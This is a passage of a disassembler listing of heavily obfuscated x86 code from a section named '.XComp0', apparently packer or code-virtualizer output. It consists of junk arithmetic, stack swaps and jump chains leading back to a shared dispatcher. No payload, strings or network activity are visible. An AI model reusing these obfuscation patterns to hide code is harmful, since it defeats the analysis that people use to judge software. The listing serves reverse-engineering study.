4 add edx, 4 xchg edx, [esp] pop esp push esi mov esi, esp add esi, 4 push 6FC8h mov [esp], eax sub esp, 4 mov [esp], ebp push 0BCC3659h jmp loc_59105A ; --------------------------------------------------------------------------- loc_598040: ; CODE XREF: .XComp0:00594B6Dj xchg esi, [esp] pop esp push 5356h mov [esp], ebp mov ebp, esp push esi mov esi, 7B156DD6h sub esi, 7B156DD2h sub ebp, 73E57939h add ebp, esi add ebp, 73E57939h pop esi sub esp, 4 mov [esp], esi push eax jmp loc_588741 ; --------------------------------------------------------------------------- loc_598075: ; CODE XREF: .XComp0:00586086j add edi, 4 sub edi, 4 jmp loc_58E4F7 ; --------------------------------------------------------------------------- loc_598083: ; CODE XREF: .XComp0:00586277j sub ebp, 0B273D78Eh jmp loc_590AA0 ; --------------------------------------------------------------------------- loc_59808E: ; CODE XREF: .XComp0:00592A31j push dword ptr [esp+4] pop edx jmp loc_58A12D ; --------------------------------------------------------------------------- loc_598098: ; CODE XREF: .XComp0:0058D32Ej neg ecx jmp loc_59359E ; --------------------------------------------------------------------------- loc_59809F: ; CODE XREF: .XComp0:0058F877j pop eax add ecx, 550A2A26h sub ecx, 1D552407h jmp loc_586F61 ; --------------------------------------------------------------------------- loc_5980B1: ; CODE XREF: .XComp0:00588424j add esp, 4 xchg ebx, [esp] pop esp mov [esp], ecx jmp loc_5896D7 ; --------------------------------------------------------------------------- loc_5980C3: ; CODE XREF: .XComp0:0058F274j mov ebx, 6CE5218Bh dec ebx shl ebx, 5 add ebx, 0C8D564Dh or ebx, 58E30B18h jmp loc_584400 ; --------------------------------------------------------------------------- loc_5980DD: ; CODE XREF: .XComp0:0058ED34j sub ecx, 6CC8632Eh push eax mov eax, 68884AAAh add ecx, eax pop eax add edi, ecx pop ecx push ebx push esp pop ebx add ebx, 4 jmp loc_5988ED ; --------------------------------------------------------------------------- loc_5980FD: ; CODE XREF: .XComp0:00585714j add [esp+4], ebx pop ebx pop eax jmp loc_5926A4 ; --------------------------------------------------------------------------- loc_598108: ; CODE XREF: .XComp0:005861ADj add esp, 4 or eax, eax jz loc_585375 push dword ptr [edi+1Ch] push dword ptr [esp] mov ecx, [esp] add esp, 4 jmp loc_598780 ; --------------------------------------------------------------------------- loc_598127: ; CODE XREF: .XComp0:0058E575j mov ecx, [esp] add esp, 4 push 514Ah mov [esp], eax mov eax, esi push eax mov edx, [esp] add esp, 4 mov eax, [esp] add esp, 4 jmp loc_590114 ; --------------------------------------------------------------------------- loc_598152: ; CODE XREF: .XComp0:00591E10j mov bx, 76C1h sub ax, bx jmp loc_58F35E ; --------------------------------------------------------------------------- loc_59815E: ; CODE XREF: .XComp0:00585C3Fj add ebp, 0FFD5BC00h jmp loc_58C4CB ; --------------------------------------------------------------------------- loc_598169: ; CODE XREF: .XComp0:0058FA12j sub ecx, 199E7DF2h jmp loc_5932AA ; --------------------------------------------------------------------------- loc_598174: ; CODE XREF: .XComp0:00597FDAj mov ecx, esp add ecx, 4 jmp loc_58AC30 ; --------------------------------------------------------------------------- loc_598181: ; CODE XREF: .XComp0:00593CEEj push 744Dh mov [esp], ebp push eax push edi mov edi, 26B02DBBh xor edi, 41D764ECh jmp loc_584942 ; --------------------------------------------------------------------------- loc_59819B: ; CODE XREF: .XComp0:0058CDA8j add eax, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_597995 ; --------------------------------------------------------------------------- loc_5981B2: ; CODE XREF: .XComp0:0058F509j mov ecx, [esp] add esp, 4 sub ebx, 5BE25C37h add ebx, 594C7FE0h push edx jmp loc_587F6A ; --------------------------------------------------------------------------- loc_5981CA: ; CODE XREF: .XComp0:0058D410j mov [esp], ebp mov ebp, 5BD074D5h jmp loc_58B48C ; --------------------------------------------------------------------------- loc_5981D7: ; CODE XREF: .XComp0:0059115Fj pop edx jmp loc_58F3C4 ; --------------------------------------------------------------------------- loc_5981DD: ; CODE XREF: .XComp0:0058F359j push 122Eh mov [esp], ecx jmp loc_58FC7A ; --------------------------------------------------------------------------- loc_5981EA: ; CODE XREF: .XComp0:0058C09Cj pop esi push ebx jmp loc_596115 ; --------------------------------------------------------------------------- loc_5981F1: ; CODE XREF: .XComp0:00583BFCj mov eax, ebp pop ebp jmp loc_587C01 ; --------------------------------------------------------------------------- loc_5981F9: ; CODE XREF: .XComp0:005918D9j sub edx, 5DAB3088h jmp loc_58BB5C ; --------------------------------------------------------------------------- loc_598204: ; CODE XREF: .XComp0:005904CCj push ebx jmp loc_595216 ; --------------------------------------------------------------------------- loc_59820A: ; CODE XREF: .XComp0:00594BD4j and ebp, 22316A85h xor ebp, 15B50808h add esi, ebp jmp loc_586960 ; --------------------------------------------------------------------------- loc_59821D: ; CODE XREF: .XComp0:00583BE6j push dword ptr [esp] mov ecx, [esp] push 178Fh mov [esp], ebp mov ebp, esp push ebx mov ebx, 0CF3AD8h push eax jmp loc_58A2E0 ; --------------------------------------------------------------------------- loc_598239: ; CODE XREF: .XComp0:00592C0Fj add edi, 13064F46h sub edi, 1BC590F8h add [esp+4], edi pop edi pop ebp jmp loc_58EAE7 ; --------------------------------------------------------------------------- loc_598250: ; CODE XREF: .XComp0:0058EF15j add ebx, edi mov edi, [esp] jmp loc_5944B4 ; --------------------------------------------------------------------------- loc_59825A: ; CODE XREF: .XComp0:0058DE46j sub ecx, 72A6FD84h add eax, ecx pop ecx jmp loc_596897 ; --------------------------------------------------------------------------- loc_598268: ; CODE XREF: .XComp0:00584D22j pop edi jmp loc_5954F0 ; --------------------------------------------------------------------------- loc_59826E: ; CODE XREF: .XComp0:00584DCEj shr ecx, 2 jmp loc_58DEC7 ; --------------------------------------------------------------------------- loc_598276: ; CODE XREF: .XComp0:0059709Bj push ebp push ebx jmp loc_5936A8 ; --------------------------------------------------------------------------- loc_59827D: ; CODE XREF: .XComp0:00591BDBj or edx, 65B03850h and edx, 22D33025h jmp loc_59092A ; --------------------------------------------------------------------------- loc_59828E: ; CODE XREF: .XComp0:00583BEEj mov ebx, 1E070F97h jmp loc_590CA2 ; --------------------------------------------------------------------------- loc_598298: ; CODE XREF: .XComp0:0059229Ej sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi add esi, 4 jmp loc_596A19 ; --------------------------------------------------------------------------- loc_5982B1: ; CODE XREF: .XComp0:0058A128j shr eax, 6 sub eax, 97AE303Fh xor ebp, eax pop eax jmp loc_590FAA ; --------------------------------------------------------------------------- mov eax, [esp] push ebp sub esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] push ebp push ebx push 5EAF3707h jmp loc_59214F ; --------------------------------------------------------------------------- loc_5982E4: ; CODE XREF: .XComp0:0058EA11j pop esp push edx mov edx, esp add edx, 4 jmp loc_58906A ; --------------------------------------------------------------------------- loc_5982F3: ; CODE XREF: .XComp0:00586201j sub esi, 3BF6442Ch sub esi, 2F133327h xor esi, 419D190Fh xor esi, 0F4F7FD28h jmp loc_58BB3F ; --------------------------------------------------------------------------- loc_598310: ; CODE XREF: .XComp0:00598AEAj jmp loc_583A60 ; --------------------------------------------------------------------------- loc_598315: ; CODE XREF: .XComp0:00592DD6j jmp loc_583A60 ; --------------------------------------------------------------------------- loc_59831A: ; CODE XREF: .XComp0:00592037j sub ebp, 1C8E7051h sub ebp, eax push ebx push 1C8E7051h pop ebx add ebp, ebx jmp loc_597A94 ; --------------------------------------------------------------------------- loc_598330: ; CODE XREF: .XComp0:0058C84Ej sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp push esp jmp loc_5894E6 ; --------------------------------------------------------------------------- loc_598345: ; CODE XREF: .XComp0:0059121Dj pop ecx add esp, 4 push ebx jmp loc_58656A ; --------------------------------------------------------------------------- loc_598352: ; CODE XREF: .XComp0:00583B0Ej mov dl, 10h or dl, 0E6h dec dl add dl, 9Eh push esi jmp loc_592BAB ; --------------------------------------------------------------------------- loc_598362: ; CODE XREF: .XComp0:005948A9j mov ecx, 4 jmp loc_59473F ; --------------------------------------------------------------------------- loc_59836C: ; CODE XREF: .XComp0:00589C12j dec eax shr eax, 1 inc eax sub eax, 0AA2B4D1Bh mov esi, eax pop eax push edi mov edi, 0FB15A7Fh push 0 sub [esp], edi pop edi sub edi, 7EAF4E94h neg edi add edi, 2FE64603h add edi, 0C42CD20Ah add esi, edi pop edi jmp loc_58A1A9 ; --------------------------------------------------------------------------- loc_5983A3: ; CODE XREF: .XComp0:00593837j push dword ptr [esp] pop ebx add esp, 4 jmp loc_597316 ; --------------------------------------------------------------------------- loc_5983B2: ; CODE XREF: .XComp0:00592765j pop esp mov [esp], eax mov al, 37h xor bl, al jmp loc_58C3B5 ; --------------------------------------------------------------------------- loc_5983BF: ; CODE XREF: .XComp0:00591037j add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi mov edi, 2 add edx, edi pop edi push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] jmp loc_58EF7A ; --------------------------------------------------------------------------- loc_5983E5: ; CODE XREF: .XComp0:0058DD66j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] push edx jmp loc_58FB3E ; --------------------------------------------------------------------------- loc_5983FD: ; CODE XREF: .XComp0:00587E9Bj pop cx jmp loc_592D4C ; --------------------------------------------------------------------------- loc_598404: ; CODE XREF: .XComp0:0058C64Ej add esp, 4 push ebp mov ebp, esp sub esp, 4 mov [esp], esi push 380h mov [esp], ecx mov ecx, 5DA765D6h sub ecx, 232C3D61h shl ecx, 1 jmp loc_594BE4 ; --------------------------------------------------------------------------- loc_59842A: ; CODE XREF: .XComp0:00598731j not esi jmp loc_595CF8 ; --------------------------------------------------------------------------- loc_598431: ; CODE XREF: .XComp0:00596EB6j push esi mov esi, 2 jmp loc_597ABF ; --------------------------------------------------------------------------- loc_59843C: ; CODE XREF: .XComp0:00591B10j add edi, esi pop esi push ebx mov ebx, 4 sub edi, ebx pop ebx xchg edi, [esp] pop esp mov [esp], esi push esp jmp loc_590C70 ; --------------------------------------------------------------------------- loc_598455: ; CODE XREF: .XComp0:005913F8j push esp mov edi, [esp] add esp, 4 jmp loc_5880A9 ; --------------------------------------------------------------------------- loc_598461: ; CODE XREF: .XComp0:0058DFC6j dec edx jmp loc_587AE3 ; --------------------------------------------------------------------------- loc_598467: ; CODE XREF: .XComp0:005865B0j mov [esp], edx mov dl, 54h and dl, 0D5h shr dl, 6 add dl, 0BCh push ecx jmp loc_58F4A1 ; --------------------------------------------------------------------------- loc_59847B: ; CODE XREF: .XComp0:00586219j xor edi, 7B5F790Bh jmp loc_586ACA ; --------------------------------------------------------------------------- loc_598486: ; CODE XREF: .XComp0:00583B96j sub esp, 4 mov [esp], eax mov eax, 694E0957h jmp loc_594986 ; --------------------------------------------------------------------------- loc_598499: ; CODE XREF: .XComp0:0058A0FCj push ebp mov ebp, 208876E7h push ebp inc dword ptr [esp] pop ebp sub ebp, 0AB70362Ah sub edi, ebp mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 0DAF53C4h inc esi xor esi, 5F31EDAh xor esi, 9D0CB774h sub edi, 70524611h add edi, esi add edi, 70524611h pop esi mov esi, 3259141Ah add esi, 1D8333C6h push ecx mov ecx, 7F9350B0h add esi, ecx pop ecx add esi, edi sub esi, 7F9350B0h push edx jmp loc_58800C ; --------------------------------------------------------------------------- loc_5984FE: ; CODE XREF: .XComp0:00583B6Dj xchg ebp, [esp] mov esp, [esp] mov [esp], eax jmp loc_583A60 ; --------------------------------------------------------------------------- loc_59850C: ; CODE XREF: .XComp0:00588C48j jmp loc_583A60 ; --------------------------------------------------------------------------- lodsd add eax, 2DC42C3Eh sub eax, ebx push ecx sub esp, 4 mov [esp], edx push ebx mov ebx, 5809442Bh push ecx push ebp push 6A895281h pop ebp jmp loc_58CE55 ; --------------------------------------------------------------------------- loc_598536: ; CODE XREF: .XComp0:0059159Fj not cl sub cl, 0CDh add ah, cl pop ecx jmp loc_594193 ; --------------------------------------------------------------------------- loc_598543: ; CODE XREF: .XComp0:00590D59j mov esi, [esp] add esp, 4 not esi xor esi, 0A564CA55h push esi jmp loc_59482C ; --------------------------------------------------------------------------- loc_598557: ; CODE XREF: .XComp0:0058788Cj pop ebx sub esp, 4 mov [esp], edi mov edi, 24280C1Fh add edx, edi jmp loc_584FA6 ; --------------------------------------------------------------------------- loc_59856A: ; CODE XREF: .XComp0:00598996j sub edi, eax pop eax jmp loc_592263 ; --------------------------------------------------------------------------- loc_598572: ; CODE XREF: .XComp0:0058B958j add ebx, edx pop edx push esi mov esi, 4 add ebx, 13F23ADh jmp loc_58B77D ; --------------------------------------------------------------------------- loc_598586: ; CODE XREF: .XComp0:0058A65Aj dec edx or edx, 154143E3h sub edx, 2F8061BDh jmp loc_592EC7 ; --------------------------------------------------------------------------- loc_598598: ; CODE XREF: .XComp0:0058A394j pop esp push ebx push edx mov edx, 7AC62F8Bh xor edx, 4484729Ch jmp loc_586CD9 ; --------------------------------------------------------------------------- loc_5985AB: ; CODE XREF: .XComp0:005926E6j push edi mov edi, 10323DDCh push esi mov esi, 212612DCh not esi shr esi, 3 xor esi, 4C972B18h or esi, 2084032Ch jmp loc_587FC7 ; --------------------------------------------------------------------------- loc_5985CD: ; CODE XREF: .XComp0:005987EBj push 4F0Ch mov [esp], esp push ebx jmp loc_596607 ; --------------------------------------------------------------------------- loc_5985DB: ; CODE XREF: .XComp0:0058C70Aj sub eax, 55196EB4h push ebx mov ebx, 18726086h and ebx, 5871790Eh sub ebx, 0A558E884h sub eax, ebx pop ebx add eax, esi jmp loc_590312 ; --------------------------------------------------------------------------- loc_5985FC: ; CODE XREF: .XComp0:005860DCj add edi, eax sub edi, 435B5BF6h pop eax or edi, 1FF57F6Bh or edi, 7D310159h sub edi, 74F71AFCh shl edi, 7 xor edi, 0C9600433h push edi jmp loc_593E02 ; --------------------------------------------------------------------------- loc_598626: ; CODE XREF: .XComp0:0059548Aj pop edx push ebp mov ebp, 2 add edi, ebp pop ebp xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] div cx push small 5CE1h mov [esp], dx push ax pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_59864F: ; CODE XREF: .XComp0:0059537Aj push eax mov eax, 4 jmp loc_594B89 ; --------------------------------------------------------------------------- loc_59865A: ; CODE XREF: .XComp0:005864D1j sub ecx, eax pop eax jmp loc_5905BB ; --------------------------------------------------------------------------- loc_598662: ; CODE XREF: .XComp0:00588894j not eax add eax, 50AF9A0Ah add ebp, eax pop eax mov ebx, [esp] add esp, 4 push ebp xor dword ptr [esp], 0DBA2955h mov ebx, [esp] add esp, 4 xor ebx, 0DBA2955h jmp loc_591C9F ; --------------------------------------------------------------------------- loc_59868E: ; CODE XREF: .XComp0:0058E561j mov al, 45h add bl, al mov eax, [esp] add esp, 4 movzx eax, al jmp loc_589129 ; --------------------------------------------------------------------------- loc_5986A0: ; CODE XREF: .XComp0:00591619j push ebx mov bl, 23h shl bl, 3 push eax push ecx mov cl, 68h shr cl, 8 xor cl, 0ABh shr cl, 1 dec cl add cl, 0A8h mov al, cl pop ecx shl al, 4 dec al shl al, 4 sub al, 1 push edx jmp loc_58938C ; --------------------------------------------------------------------------- loc_5986CA: ; CODE XREF: .XComp0:00597F0Dj neg eax dec eax inc eax jmp loc_58B79C ; --------------------------------------------------------------------------- loc_5986D3: ; CODE XREF: .XComp0:00589B3Bj mov ecx, edi pop edi mov ebx, ecx pop ecx push esi mov esi, 40511A6Dh shr esi, 2 push ebp jmp loc_590CDA ; --------------------------------------------------------------------------- loc_5986E8: ; CODE XREF: .XComp0:0059411Dj mov [esp], esp jmp loc_592D36 ; --------------------------------------------------------------------------- loc_5986F0: ; CODE XREF: .XComp0:005942CEj xor [esp], esi xor esi, [esp] xor [esp], esi jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5986FE: ; CODE XREF: .XComp0:00594904j push ecx jmp loc_588CB4 ; --------------------------------------------------------------------------- loc_598704: ; CODE XREF: .XComp0:00593F93j pop ecx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_59870A: ; CODE XREF: .XComp0:0058FE72j push 4184h jmp loc_5888C4 ; --------------------------------------------------------------------------- loc_598714: ; CODE XREF: .XComp0:00593748j push 71DBh push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop eax add esp, 4 push esi mov esi, 6E6335B6h jmp loc_59842A ; --------------------------------------------------------------------------- loc_598736: ; CODE XREF: .XComp0:00598BA1j push edx mov dh, 1Eh push ebx mov bl, 42h or dh, bl pop ebx xor dh, 99h xor dh, 8Fh and al, dh pop edx inc al sub al, 0FFh not al add al, 0BEh sub al, 0EFh sub bh, al pop eax jmp loc_5912E0 ; --------------------------------------------------------------------------- loc_59875A: ; CODE XREF: .XComp0:0058D35Dj push 23B0h mov [esp], ebx jmp loc_5890EA ; --------------------------------------------------------------------------- loc_598767: ; CODE XREF: .XComp0:0058B2DBj mov ecx, 5DE855A5h shr ecx, 1 jmp loc_58A58E ; --------------------------------------------------------------------------- loc_598773: ; CODE XREF: .XComp0:0058C986j push 7960h mov [esp], eax jmp loc_589398 ; --------------------------------------------------------------------------- loc_598780: ; CODE XREF: .XComp0:00598122j push 2A7Ch mov [esp], edx push esp pop edx add edx, 4 sub esp, 4 jmp loc_58DC0A ; --------------------------------------------------------------------------- loc_59879B: ; CODE XREF: .XComp0:00591131j xor esi, edx pop edx mov edx, esi push dword ptr [esp] pop esi add esp, 4 and eax, edx push dword ptr [esp] push dword ptr [esp] pop edx add esp, 4 add esp, 4 or eax, eax jz loc_58D190 push dword ptr [edi+1Ch] push ebp mov ebp, 456037A9h add [esp+4], ebp pop ebp mov ecx, [esp] sub esp, 4 mov [esp], edi mov edi, esp jmp loc_58A76B ; --------------------------------------------------------------------------- loc_5987E2: ; CODE XREF: .XComp0:00591F1Bj sub esp, 4 mov [esp], edx jmp loc_5985CD ; --------------------------------------------------------------------------- loc_5987F0: ; CODE XREF: .XComp0:0058AE7Fj pop esp jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5987F6: ; CODE XREF: .XComp0:00595B15j not dword ptr [esp] inc dword ptr [esp] pop ebp jmp loc_5871E5 ; --------------------------------------------------------------------------- loc_598802: ; CODE XREF: .XComp0:0058A31Fj mov ebp, esp jmp loc_597A5C ; --------------------------------------------------------------------------- loc_598809: ; CODE XREF: .XComp0:00591C46j pop eax add al, 2Eh add al, ch sub al, 2Eh jmp loc_589DBA ; --------------------------------------------------------------------------- loc_598815: ; CODE XREF: .XComp0:005849C1j mov [esp], edi push ebp push 42F96E53h pop ebp push 4BD4h mov [esp], ebx push ebp mov ebp, 783A1181h push ebp push edi pop ebp pop edi jmp loc_58A927 ; --------------------------------------------------------------------------- loc_598836: ; CODE XREF: .XComp0:00585111j shr edi, 8 add edi, 54594614h jmp loc_58CA35 ; --------------------------------------------------------------------------- loc_598844: ; CODE XREF: .XComp0:0058CC1Ej shr ebp, 3 push ecx mov ecx, esp add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp jmp loc_59234A ; --------------------------------------------------------------------------- loc_59885F: ; CODE XREF: .XComp0:00595B2Aj pop edx add esi, 3E590187h jmp loc_58485B ; --------------------------------------------------------------------------- loc_59886B: ; CODE XREF: .XComp0:0058CDF5j pop di jmp loc_594E78 ; --------------------------------------------------------------------------- loc_598872: ; CODE XREF: .XComp0:0058E66Cj add esi, 64CD2CB0h add esi, ecx sub esi, 64CD2CB0h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub eax, esi pop esi xor eax, [esp] xor [esp], eax xor eax, [esp] mov esp, [esp] jmp loc_59285B ; --------------------------------------------------------------------------- loc_5988A7: ; CODE XREF: .XComp0:0059509Ej push edx mov edx, 67EC317Bh add eax, edx pop edx jmp loc_58A32D ; --------------------------------------------------------------------------- loc_5988B5: ; CODE XREF: .XComp0:00589BC2j movzx ecx, al push 3A39h mov [esp], ecx jmp loc_583A60 ; --------------------------------------------------------------------------- loc_5988C5: ; CODE XREF: .XComp0:0059749Dj sub ebp, eax pop eax push edi mov edi, 1 add ebp, edi pop edi add ebp, 0DB8B9DF5h and edi, ebp jmp loc_592EE2 ; --------------------------------------------------------------------------- loc_5988DE: ; CODE XREF: .XComp0:00597265j pop ecx add ecx, 4 add ecx, 4 jmp loc_5924C1 ; --------------------------------------------------------------------------- loc_5988ED: ; CODE XREF: .XComp0:005980F8j sub ebx, 4 xchg ebx, [esp] jmp loc_5864EE ; --------------------------------------------------------------------------- loc_5988FB: ; CODE XREF: .XComp0:00585F6Cj add [esp+8], esi add dword ptr [esp+8], 682F35B9h mov esi, [esp] add esp, 4 add dword ptr [esp+4], 6C487D63h add [esp+4], eax sub dword ptr [esp+4], 6C487D63h sub esp, 4 mov [esp], edx jmp loc_58FE82 ; --------------------------------------------------------------------------- loc_598932: ; CODE XREF: .XComp0:0058AB6Aj pop edx xor cl, 0A8h sub al, 0F5h add al, 0D0h sub al, cl sub al, 0D0h push small 6EA2h mov [esp], dx jmp loc_58E464 ; --------------------------------------------------------------------------- loc_59894B: ; CODE XREF: .XComp0:005925C2j mov [esp], eax push 1F62h mov [esp], ecx jmp loc_59615C ; --------------------------------------------------------------------------- loc_59895B: ; CODE XREF: .XComp0:0058EB2Ej mov [esp], eax sub esp, 4 jmp loc_58B8C1 ; --------------------------------------------------------------------------- loc_598966: ; CODE XREF: .XComp0:00588C07j sub eax, 34005656h mov edx, [esp] add esp, 4 push edi jmp loc_597594 ; --------------------------------------------------------------------------- loc_59897A: ; CODE XREF: .XComp0:00587D76j push dword ptr [esp] mov ecx, [esp] push eax push 712Dh jmp loc_58CF8F ; --------------------------------------------------------------------------- loc_59898B: ; CODE XREF: .XComp0:0058EA26j mov ecx, 4 push eax mov eax, 2DAE2CDDh jmp loc_59856A ; --------------------------------------------------------------------------- loc_59899B: ; CODE XREF: .XComp0:00586100j add esi, 2F5C2EADh add esi, ecx sub esi, 2F5C2EADh push ecx mov ecx, 26DA6057h add esi, ecx mov ecx, [esp] add esp, 4 jmp loc_5884EB ; --------------------------------------------------------------------------- loc_5989BF: ; CODE XREF: .XComp0:0059438Cj pop esi add ebp, 4 xor ebp, [esp] jmp loc_58683B ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov eax, [esp] push ecx push 1200h mov [esp], esp jmp loc_59725E ; --------------------------------------------------------------------------- loc_5989E5: ; CODE XREF: .XComp0:00594084j push edi jmp loc_58A341 ; --------------------------------------------------------------------------- loc_5989EB: ; CODE XREF: .XComp0:0058A7B9j not ebp push esi mov esi, 653F71CFh not esi shl esi, 3 jmp loc_58CE0E ; --------------------------------------------------------------------------- loc_5989FD: ; CODE XREF: .XComp0:0058BB86j sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 push esi push edi mov edi, 34553DD7h shr edi, 7 and edi, 4E434682h inc edi jmp loc_585395 ; --------------------------------------------------------------------------- loc_598A27: ; CODE XREF: .XComp0:00589CA4j sub edx, 0FFFFFFFFh neg edx sub edx, 6E147A7Ah sub esi, edx pop edx add esi, 0BAB5CBAh add ebx, esi pop esi add ebx, 4 xchg ebx, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mul cl movzx cx, ah push small 2326h mov [esp], cx movzx cx, al push cx pushf jmp loc_583A60 ; --------------------------------------------------------------------------- loc_598A6B: ; CODE XREF: .XComp0:005938BCj sub eax, 4E442201h add eax, 732543C7h add eax, ecx sub eax, 732543C7h jmp loc_594122 ; --------------------------------------------------------------------------- loc_598A81: ; CODE XREF: .XComp0:0058D04Fj add esp, 4 xor esi, 41C67918h shr esi, 8 push ecx mov ecx, 108840B0h add esi, ecx pop ecx not esi sub esi, 90839F1Eh sub eax, esi pop esi sub eax, ebp push ebp mov ebp, 5E836806h add eax, ebp pop ebp push dword ptr [esp] mov ebp, [esp] jmp loc_58B159 ; --------------------------------------------------------------------------- loc_598AB7: ; CODE XREF: .XComp0:0058497Dj xor bl, al movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_59554F ; --------------------------------------------------------------------------- loc_598AE2: ; CODE XREF: .XComp0:0059545Cj push small 2D38h mov [esp], ax jmp loc_598310 ; --------------------------------------------------------------------------- loc_598AEF: ; CODE XREF: .XComp0:0058A27Dj mov [esp], ebx mov ebx, esp push edi jmp loc_59153C ; --------------------------------------------------------------------------- loc_598AFA: ; CODE XREF: .XComp0:0058478Aj pop esi push ebx mov ebx, 2 add ebp, ebx pop ebx xchg ebp, [esp] jmp loc_58FE65 ; --------------------------------------------------------------------------- loc_598B0C: ; CODE XREF: .XComp0:00596AD2j push edi mov edi, 57B44215h shr edi, 7 jmp loc_592FC1 ; --------------------------------------------------------------------------- loc_598B1A: ; CODE XREF: .XComp0:0058F6A7j push ebp jmp loc_597BF2 ; --------------------------------------------------------------------------- loc_598B20: ; CODE XREF: .XComp0:00594A63j add esp, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] add [esp], al pushf jmp loc_58F940 ; --------------------------------------------------------------------------- loc_598B38: ; CODE XREF: .XComp0:00591920j add esp, 4 xchg eax, [esp] pop esp jmp loc_5901EB ; --------------------------------------------------------------------------- loc_598B44: ; CODE XREF: .XComp0:00595DDBj xor cl, al pop eax jmp loc_58B377 ; --------------------------------------------------------------------------- loc_598B4C: ; CODE XREF: .XComp0:0059354Bj xor ch, 0E0h sub al, 67h add al, ch jmp loc_59386E ; --------------------------------------------------------------------------- loc_598B58: ; CODE XREF: .XComp0:0058EE8Aj pop ebp mov edx, [esp] push ebp push esp pop ebp add ebp, 4 add ebp, 4 push ebp jmp loc_5965F5 ; --------------------------------------------------------------------------- loc_598B71: ; CODE XREF: .XComp0:00598D94j add esp, 4 jmp loc_591173 ; --------------------------------------------------------------------------- loc_598B7C: ; CODE XREF: .XComp0:005978A3j sub ebx, 0EC3840DBh mov esi, ebx pop ebx push edx jmp loc_587FDE ; --------------------------------------------------------------------------- loc_598B8B: ; CODE XREF: .XComp0:005929EEj xor ebp, 294F51AFh and ebp, 46F81665h jmp loc_58FCB1 ; --------------------------------------------------------------------------- loc_598B9C: ; CODE XREF: .XComp0:00590BCDj mov bh, 0F3h mov al, bh pop ebx jmp loc_598736 ; --------------------------------------------------------------------------- loc_598BA6: ; CODE XREF: .XComp0:005956E0j push 5DD4h mov [esp], edi jmp loc_58658E ; --------------------------------------------------------------------------- loc_598BB3: ; CODE XREF: .XComp0:0058B1ACj mov edx, eax pop eax sub ebx, 735517A3h sub ebx, 41717410h sub ebx, edx push edx jmp loc_597FDF ; --------------------------------------------------------------------------- loc_598BCA: ; CODE XREF: .XComp0:0058854Dj mov edx, [esp] push ecx jmp loc_58BA87 ; --------------------------------------------------------------------------- loc_598BD3: ; CODE XREF: .XComp0:00585E97j add eax, 2C1D6A60h add eax, ebx jmp loc_59488D ; --------------------------------------------------------------------------- loc_598BDF: ; CODE XREF: .XComp0:0058D162j push 4 pop ebx jmp loc_592958 ; --------------------------------------------------------------------------- loc_598BEA: ; CODE XREF: .XComp0:00584E13j dec eax sub eax, 0A1B5CD20h add edx, 1E1F72C3h add edx, eax sub edx, 1E1F72C3h jmp loc_58FF07 ; --------------------------------------------------------------------------- loc_598C03: ; CODE XREF: .XComp0:005882A9j mov ecx, ebx pop ebx mov ebp, 631150CEh jmp loc_5936A1 ; --------------------------------------------------------------------------- loc_598C10: ; CODE XREF: .XComp0:00597759j mov edi, ebp push dword ptr [esp] mov ebp, [esp] add esp, 4 push ebp mov ebp, esp jmp loc_58E258 ; --------------------------------------------------------------------------- loc_598C26: ; CODE XREF: .XComp0:0058A49Dj push 664Ch mov [esp], edx push 63A7h mov [esp], esi mov esi, 4 mov edx, esi pop esi add ebp, edx jmp loc_58E81A ; --------------------------------------------------------------------------- loc_598C45: ; CODE XREF: .XComp0:0058F10Cj mov [esp], dx push ecx mov cx, 4F9Ch shr cx, 1 sub cx, 5856h jmp loc_58C3A6 ; --------------------------------------------------------------------------- loc_598C5B: ; CODE XREF: .XComp0:0058984Cj push 3A1Eh mov [esp], ebx push ecx mov cl, 0A5h not cl push dx mov dh, 0E5h sub cl, dh pop dx push dx jmp loc_597C05 ; --------------------------------------------------------------------------- loc_598C77: ; CODE XREF: .XComp0:005915CCj movzx cx, ah push edi push esp pop edi push 0D99h mov [esp], esi push 4B28h mov [esp], ebx mov ebx, 69E46C2Bh shl ebx, 6 sub ebx, 4872C0ACh jmp loc_588DB5 ; --------------------------------------------------------------------------- loc_598CA1: ; CODE XREF: .XComp0:0058F485j sub esi, 7E8C3D39h dec esi sub esi, 72657C5Fh xor ebp, esi jmp loc_58626D ; --------------------------------------------------------------------------- loc_598CB5: ; CODE XREF: .XComp0:00594968j xchg eax, [esp] mov esp, [esp] add ecx, 4A5A0BA5h push 2E25h jmp loc_58A68B ; --------------------------------------------------------------------------- loc_598CCB: ; CODE XREF: .XComp0:00585582j add cl, bl pop ebx add cl, ah sub cl, 10h jmp loc_58AEF9 ; --------------------------------------------------------------------------- loc_598CD8: ; CODE XREF: .XComp0:005919AEj push esi jmp loc_585A53 ; --------------------------------------------------------------------------- loc_598CDE: ; CODE XREF: .XComp0:00583ACFj mov edx, [esp] add esp, 4 push ebx jmp loc_594109 ; --------------------------------------------------------------------------- loc_598CED: ; CODE XREF: .XComp0:0059374Fj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xor esi, [esp] xor [esp], 